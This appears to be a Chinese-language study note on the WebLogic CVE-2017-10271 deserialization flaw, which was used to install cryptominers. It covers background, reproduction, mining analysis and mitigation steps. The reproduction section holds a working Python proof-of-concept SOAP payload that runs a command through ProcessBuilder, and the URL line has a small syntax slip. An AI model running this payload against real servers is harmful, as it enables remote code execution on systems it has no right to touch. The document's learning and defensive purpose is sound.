Weblogic
漏洞被利用来挖矿,客户受到了影响。学习一下其中的原理。
背景
2017年12月中旬,安全研究者爆出未打补丁的WebLogic
版本存在的漏洞,可能被watch-smarted
挖矿恶意软件利用。
攻击者利用Weblogic WLS
组件漏洞(CVE-2017-10271
),构造payload
下载并执行虚拟币挖矿程序,对Weblogic
中间件主机进行攻击。
影响版本
漏洞复现
访问 7001
端口
脚本弹计算器。就是一个请求,把其中的恶意代码写在了POST
的xml
里面。关键是其中的利用代码的编写。
#! -*- coding:utf-8 -*-
import requests
url = "http://127.0.0.1"7001/wls-wsat/CoordinatorPorType"
xml = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string></string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
r =requests.post(url,headers={'Content-Type':'text/xml','Cache-Control':'no-cache'},data=xml)
print r.status_code
print r.text
抓包修改
挖矿分析
使用top
命令查看CPU
利用情况。
通过POC
可以知道,在xml中的string标签的字符串为远程执行的命令内容。攻击者首先下载setup-watch
的shell
脚本,其作用是下载并运行watch-smartd
挖矿程序。
漏洞分析
找了两篇从代码层面的分析文章,学习一下其中的原理。
WebLogic WLS-WebServices组件反序列化漏洞分析
缓解措施
攻击者利用的是wls-wsat
组件的CoordinatorPorType
接口,若Weblogic
服务器集群中应用此组件,建议临时备份后将此组件删除,并重启服务器。
根据自己服务器的实际路径,删除该组件
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic
服务